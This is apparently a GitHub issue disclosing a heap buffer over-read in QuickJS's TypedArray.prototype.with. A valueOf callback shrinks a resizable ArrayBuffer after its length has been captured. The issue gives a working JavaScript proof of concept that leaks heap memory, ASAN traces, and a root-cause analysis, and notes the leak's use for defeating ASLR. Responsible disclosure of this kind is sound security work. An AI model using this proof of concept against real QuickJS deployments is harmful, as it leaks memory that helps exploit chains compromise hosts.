Skip to content

Heap buffer over-read in TypedArray.prototype.with via stale length after RAB resize #492

@hkbinbin

Description

@hkbinbin

Description

It is a TOCTOU vulnerability. js_typed_array_with() captures len = p->u.array.count before calling JS_ToPrimitive() on the replacement value. A valueOf callback can shrink the backing Resizable ArrayBuffer (RAB) via ab.resize(). The stale len is then passed to js_typed_array_constructor_ta(), which performs a memcpy of stale_len * element_size bytes from the now-smaller source buffer. This results in a heap buffer over-read that leaks arbitrary heap data into JavaScript-visible values.

Environment

  • QuickJS version: 2025-09-13
  • Commit: f113949 (regexp: removed alloca() ...)
  • OS: macOS 15.4 arm64 (Darwin 25.2.0), also reproducible on Linux x86_64
  • Compiler: Apple clang 17.0.0 (clang-1700.6.4.2)
  • Build: Both release (-O2) and ASAN builds affected

How to Reproduce

# Clone and checkout the affected version
git clone https://github.com/nickg/quickjs.git && cd quickjs
git checkout f113949

# Build ASAN-enabled qjs
make CONFIG_ASAN=y qjs
# This adds: -fsanitize=address -fno-omit-frame-pointer

# Run POC — triggers heap-buffer-overflow READ
./qjs poc_ta_with.js

POC (minimal)

var ab = new ArrayBuffer(4096, { maxByteLength: 4096 });
var ta = new Int32Array(ab);
for (var i = 0; i < ta.length; i++) ta[i] = 0x42424242;

var result = ta.with(0, {
    valueOf() {
        ab.resize(4);  // shrink from 4096 to 4 bytes
        return 999;
    }
});

// result is a new Int32Array with 1024 elements
// Elements [1..1023] contain heap data leaked from beyond the 4-byte allocation
print("result.length =", result.length);  // 1024
for (var i = 0; i < 10; i++) {
    print("result[" + i + "] = 0x" + (result[i] >>> 0).toString(16));
}

ASAN Output

=================================================================
==39111==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000854 at pc 0x00010596f1fc bp 0x00016ae21010 sp 0x00016ae207c0
READ of size 4096 at 0x602000000854 thread T0
    #0 0x00010596f1f8 in __asan_memcpy+0x400 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3b1f8)
    #1 0x00010516a604 in js_typed_array_constructor_ta quickjs.c:58144
    #2 0x00010516e940 in js_typed_array_with quickjs.c:56624
    #3 0x000104fdfa00 in js_call_c_function quickjs.c:17234
    #4 0x000105012ba4 in JS_CallInternal quickjs.c:17429
    #5 0x000105015c24 in JS_CallInternal quickjs.c:17833
    #6 0x0001050346b4 in JS_EvalFunctionInternal quickjs.c:36559
    #7 0x00010504be2c in __JS_EvalInternal quickjs.c:36692
    #8 0x000105034f08 in JS_EvalThis quickjs.c:36752
    #9 0x000104fddbd4 in eval_buf qjs.c:66
    #10 0x000104fdd338 in main qjs.c:519

0x602000000854 is located 0 bytes after 4-byte region [0x602000000850,0x602000000854)
allocated by thread T0 here:
    #0 0x000105971520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
    #1 0x000105055bec in js_def_realloc quickjs.c:1782
    #2 0x00010516c2f4 in js_array_buffer_resize quickjs.c:56203
    #3 0x000104fdfca4 in js_call_c_function quickjs.c:17247
    #4 0x000105012ba4 in JS_CallInternal quickjs.c:17429
    #5 0x000105015c24 in JS_CallInternal quickjs.c:17833
    #6 0x0001050659ec in JS_ToPrimitiveFree quickjs.c:10698
    #7 0x00010516e8e4 in js_typed_array_with quickjs.c:56617
    #8 0x000104fdfa00 in js_call_c_function quickjs.c:17234

SUMMARY: AddressSanitizer: heap-buffer-overflow quickjs.c:58144 in js_typed_array_constructor_ta

The stack trace clearly shows: js_typed_array_with (line 56624) → js_typed_array_constructor_ta (line 58144, the memcpy), with the resize happening in js_array_buffer_resize (line 56203) triggered from JS_ToPrimitiveFree (line 10698, the valueOf callback).

The 0 bytes after 4-byte region confirms the source buffer was shrunk from 4096 to just 4 bytes, but the memcpy still reads 4096 bytes.

Root Cause

In quickjs.c, function js_typed_array_with():

Line 56610: len = p->u.array.count;           // captures stale length (e.g., 1024)
Line 56617: val = JS_ToPrimitive(ctx, ...);    // valueOf callback → ab.resize(4) shrinks RAB
Line 56621: if (typed_array_is_oob(p)) ...     // returns FALSE for track_rab TypedArrays
Line 56636: js_typed_array_constructor_ta(ctx, ..., p, len, ...);  // passes stale len=1024

Inside js_typed_array_constructor_ta():

Line 58144: memcpy(abuf->data, src_abuf->data + ta->offset, abuf->byte_length);
            // Reads 1024*4 = 4096 bytes from a 4-byte source allocation

The typed_array_is_oob() check at line 56621 returns FALSE for TypedArrays with track_rab = TRUE (line 56342-56343), allowing the stale length to pass through unchecked.

Impact

It will leak heap pointers (JSObject*, JSString*, shape pointers, allocator metadata) which will defeat address space layout randomization.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions